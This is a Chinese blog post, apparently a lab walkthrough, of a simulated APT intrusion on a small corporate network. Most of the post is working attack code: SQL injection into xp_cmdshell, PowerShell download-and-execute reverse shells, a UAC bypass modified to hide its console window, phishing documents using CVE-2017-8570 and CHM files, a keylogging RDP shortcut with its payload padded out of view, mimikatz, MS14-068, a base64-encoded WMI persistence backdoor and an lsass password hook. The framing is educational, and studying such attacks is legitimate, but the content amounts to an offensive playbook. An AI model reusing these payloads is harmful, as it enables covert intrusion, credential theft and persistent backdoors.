无弹窗渗透实验

背景:apt攻击方式花样繁多,我研究最近的流行的apt攻击方式,在本地搭建环境模拟一次简单的apt攻击,在模拟攻击过程中发现网上公布的poc都会有大大小的缺陷,大多数poc执行过程中都会弹出一闪而过的黑框框,我深入分析这些脚本,修改其中的代码,使其执行的过程中消除那个一闪而过的黑框框,从而让中招的不会轻易产生怀疑。我研究的目的是暴露这样的攻击过程,让更多的人了解这样的攻击过程,从而能够研究出更有效的防御方法

首先是内网的拓扑
image
拓扑说明:
【1】10.101.101.0/24的网段模拟的是外网的地址
【2】192.168.101.0/24的网段模拟的是一个小型企业的内网中的应用服务器网络
【3】192.168.111.0/24的网段模拟的是一个小型企业的内网中的办公网络
【4】企业内网可以无限制的访问到外网,但是外网无法访问到企业内网
【5】办公网可以无限制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络
【6】部分服务器打了全部的补丁,并且保持正常更新
日常扫描:

image
发现此服务器开放80,82端口,是win2008系统
在80端口发现有sql注入
image

首先看数据库和数据库所在的服务器版本:

http://10.101.101.13/?page=1 and @@version>0 --

image
数据库是2008r2的,数据库所在的操作系统是win2008或者win7
然后看数据库:

http://10.101.101.13/?page=1;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --

这个语句测试数据库的权限,发现有延时,证明是有数据库的权限是dba的权限
然后用:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE; 

打开xp_cmdshell的限制,下面创建一个临时表:

http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));--

执行ipconfig /all并将结果写入新创建的临时表中

http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';--

读取结果:

http://10.101.101.13/?page=1 and (select substring((select a from temp for xml auto),1,4000))>0-- 

image
看上去这个网站是站库分离的网站
然后用这种方法执行“ping 10.101.101.16”,发现数据库服务器可以通外网,获取这些信息之后,我用下面的指令删除创建的临时表

http://10.101.101.13/?page=1;drop table temp; --

获取到这么多信息了之后,在自己的自己机子上开一个web站点,下载nishang的powershell的反弹脚本到自己的web服务器上:
https://github.com/samratashok/nishang
先在自己的主机上用nc -lvvp 8888监听8888端口,等待反弹连接
然后执行

http://10.101.101.13/?page=1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--

然后看到执行成功
image
但是数据库被降权,权限不高,现在我把ms15-051的exp上传到自己的服务器,用powershell的远程加载并执行exe的脚本执行这个exp
首先下载powershell的这个脚本https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1,然后执行

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

可以看到提权没有成功,并且换一个exp也没有成功
image
所以下面上msf继续探测
先开启msf的监听功能
image
然后执行

http://10.101.101.13/?page=1;exec master..xp_cmdshell('IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')

这样就从数据库主机上反弹一个meterpreter连接了
先用

use auxiliary/scanner/smb/smb_version

扫描smb来获取内网的信息
image
发现一个mail服务器,用

use auxiliary/scanner/portscan

扫描一下端口
image
发现开放了80端口,25,110端口,我用

use auxiliary/server/socks4a

代理进内网
image
在乌云镜像里面没有找到可以用的洞,但是在82端口发现了惊喜
image
通过弱口令轻松进入到后台,发现一个可以生成静态站的地方
image
把自定义静态页面存储主路径改成1.asp,然后编辑一篇文章,把木马代码放进去,然后重新生成静态页面就可以getshell了
image
这个服务器的82端口不能执行cmd,不支持aspx,不能跨目录到umail,但是在一个奇怪的地方发现一个一份企业通讯录,下载下来看到管理员邮箱
image
于是想到用伪造邮件的方法来钓管理员
首先参考两个文章:
http://www.freebuf.com/vuls/144054.html
http://www.91ri.org/15506.html
第一种方法
首先用CVE-2017-8570给的exp做一个钓鱼用的ppsx
由于原来的exp要用poershell下载一个shell.exe再执行,这样容易被杀软发现,并且原来的exp执行反弹回来的shell权限不够,所以要考虑绕过uac,让管理员点击恶意的ppsx后静默反弹一个高权限的shell,如果用nishang给的Invoke-PsUACme.ps1,执行之后会有一个一闪而过的黑框框,很让人感到怀疑,去掉这个一闪而过的黑框框很简单,因为我用oobe的方法在win7上绕过uac,所以我在这里只介绍在这种条件下去掉黑框框的方法,首先去掉Invoke-PsUACme.ps1中第206行的“& $execpath”这个代码,之后在调用Invoke-PsUACme的时候-payload参数写上你要执行的命令,最后用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe

IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")

换掉原来exp里面的powershell调用语句
其中uacchm.ps1的内容是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')
Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='
Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

而其中enc后面的数据是经过下面的代码编码而成:

$command = "IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

编码的内容是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')

chm.ps1的内容是:

IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

改好的exp我放在了https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
用法是:先生成一个恶意的ppsx

python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u http://10.101.101.16:82/logo.doc

在82端口开启服务

python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16 

[外链图片转存失败(img-hvuwAP8i-1567653824071)(https://img-my.csdn.net/uploads/201709/11/1505110457_3429.gif)]
Ps:
好多时候这个漏洞复现不成功,可以将查看 文件 -> 选项,点击 信任中心设置:
image
去掉这些勾就好
image
第二种方法:
这个比较简单:
用easy chm做一个恶意的chm就好
image
其中我做的test.html我放在了https://github.com/niexinming/safe_tool/blob/master/test.html
Ps:
由于PARAM的value的长度似乎有某种限制,所以我把

IEX (New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")

base64编码之后放入PARAM的value中
[外链图片转存失败(img-5dN63h5K-1567653824079)(https://img-my.csdn.net/uploads/201709/11/1505110458_4531.gif)]

两个恶意的文件都制作好了,我现在用swaks伪造邮件把这两个文档发送出去
image
现在静静等待管理员点击我们的恶意文件
启动msf的exploit/multi/handler模块时候用exploit -j就可以让msf在后台等待管理员上钩了
这个时候发现一个管理员中了我们的木马
image
由于bypass了uac,所以返回的是管理员的shell,我们可以用mimikatz来把密码脱出来看看
image
由于管理员的机子不属于任何域,也不是域账号登陆,所以,我需要获取他的在远程登陆其他机子的时候的用户名和密码,根据http://www.freebuf.com/articles/system/132075.html这篇文件的介绍,我希望替换远程桌面的快捷方式来监视管理员的行为:
思路是:
(1)正常启动c:\windows\system32\mstsc.exe,避免管理员怀疑
(2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框,让恶意代码静态启动
(3)参数部分要先加260个空格字符后面接着为payload代码,这样减小管理员查看属性的时候看到payload而产生怀疑
(4)参考http://wooyun.jozxing.cc/static/drops/tips-13125.html这个文章静默启动一个桌面步骤记录程序
(5)利用PowerSploit的Get-Keystrokes.ps1的脚本来记录键盘记录
(6)记录一分钟后把记录的文件隐藏起来
(7)启动metasploit的反弹连接
(8)修改图标(关于C:\Windows\system32\SHELL32.dll的图标id,有个网站给的很全面,http://help4windows.com/windows_7_shell32_dll.shtml,可以修改传递给图标id来修改图标)

我把修改好的代码放在https://github.com/niexinming/safe_tool/blob/master/link.ps1,远程加载的恶意的powershell代码放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好恶意的快捷方式之后只要修改rlnk.ps1就可以做你想做的事情了
使用方法
image
看着已经生成好了,看一下效果
image
看着比较正常,用起来也很正常,没有卡顿,没有一闪而过的黑框
如果管理员用到远程登陆快捷方式去远程登陆服务器的话,在c:\windows\temp目录下会生成log.dll,这个里面记录的是键盘记录,cap.zip记录的是关键步骤截屏
[外链图片转存失败(img-XBZHBD9r-1567653824088)(https://img-my.csdn.net/uploads/201709/11/1505110459_3164.gif)]

等管理员启动的恶意的远程登陆快捷方式之前,可以用管理员的密码在应用服务器网段内用use auxiliary/scanner/smb/smb_login碰碰运气
image
看上去运气不佳啊

等了几天,发现
image
在这个目录下有这个东西了,下载之后看到,键盘记录:
image
下面是屏幕截图记录
image

这个我就获得了一个普通域账号的账户名和密码
下面试试MS14-068这个漏洞能不能成功,参考文章:http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/
用proxychain执行goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com
哇,居然可以攻击
image
Ps:
攻击的时候如果dns在内网要记得hosts的地址绑定
image

用得到的shell反弹一个poweshell出来到本地8888端口,如果你用下面的语句反弹的话将得到是一个32位的powershell:

powershell IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

这个时候你运行

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

系统会报错,原因是你不能在32位的shell中运行64位的程程序,这里涉及到一个64位系统文件重定向的问题,参考:http://www.cnblogs.com/lhglihuagang/p/3930874.html
所以正确的做法是使用下面的代码来反弹一个64位的powershell

C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

这个时候你运行

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

image

你就会得到域控管理员的密码
下面我要在域控上面安装一个隐蔽的后门,参考文章:http://www.moonsec.com/post-621.html和https://www.secpulse.com/archives/39555.html还有http://wooyun.jozxing.cc/static/drops/tips-15575.html
我利用三好学生的方法制作一个wmi的后门
首先:
在自己的web目录下写一个mof.ps1,这个文件作用是用利用wmi的定时器的功能让系统每分钟执行一次我们的payload,这个mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1,我还写了一个可以劫持进程的powershell脚本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,这里我用每分钟执行payload的这个脚本,这里的我的payload我用一个反弹meterpreter连接的脚本,mof.txt里面的内容:

<?xml version="1.0"?>

<package>
<component id="testCalc">

<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); 
]]>
</script>

</component>
</package>

enc编码前的内容依然是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')

执行之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹
image
Ps:
这个wmi的后门我在win10上实验的时候,不能执行payload,如果触发到后门的触发条件的话,win10会弹出openwith.exe这个进程,界面上看就是这个
image
查了两天资料也没有找到一个正经的解决方法,但是后来把openwith.exe换成cmd.exe就可以执行payload了,因为win7和win2008没有openwith,所以没有遇到什么阻力就直接执行payload了,但是win10和win8在正常情况下就会打开openwith
这个后门的清理方式可以参考https://www.52pojie.cn/thread-607115-1-1.html image

我还想放置一个后门,在域控管理员改密码的时候记录他的新密码,参考:http://wooyun.jozxing.cc/static/drops/tips-13079.html,注意他的脚本里面有一个选项可以从你的web服务器加载一个dll到对方主机内存里面,这样你把你的dll生成好之后就可以放在你的web服务器下面,在这个ps1最下面加入

Invoke-ReflectivePEInjection -PEUrl http://10.101.101.16/HookPasswordChange.dll –procname lsass

就可以了,然后你把这个脚本的调用加入到chm.ps1里面:下面是改动之后chm.ps1里面的内容:

IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/HookPasswordChangeNotify.ps1")
IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

这样就可以任何时候每隔一分钟的时候可以一方面反弹一个meterpreter的连接,还可以在域管理员改密码的时候记录他的新密码
image

结语:本文介绍了web渗透,邮件钓鱼,后门部署等奇技淫巧,尤其针对消除各种一闪而过的cmd弹窗给出了我自己的解决思路,大家可以如果有问题可以在评论区留言,我如果有空会尽力解答各位的问题

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值